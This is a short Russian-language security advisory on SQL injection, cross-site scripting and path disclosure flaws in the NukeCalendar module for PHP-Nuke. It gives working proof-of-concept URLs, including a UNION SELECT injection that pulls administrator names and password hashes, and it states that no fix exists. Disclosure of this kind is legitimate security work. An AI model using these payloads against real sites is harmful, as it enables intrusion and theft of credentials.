Несколько уязвимостей в NukeCalendar

Описание: Несколько уязвимостей обнаружено в NukeCalendar. Удаленный пользователь может внедрить SQL команды и выполнить XSS нападение. Удаленный пользователь может также определить инсталляционный путь.

1. SQL injection:

http://localhost/nuke71/modules.php?op=modload&name=Kalender&file=index&type=vie w&eid=-1%20UNION%20select%20null,aid,null,pwd,null,null,null

http://localhost/nuke71/modules.php?op=modload&name=Kalender&file=index&type=view&eid=[xss code here]

http://localhost/nuke71/modules.php?op=modload&name=Kalender&file=index&type=view&eid=foobar

URL производителя: http://vkp.shiba.de/modules.php?name=Downloads&d_op=viewdownloaddetails&lid=19&ttitle=nukeKalender%201.1.a

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.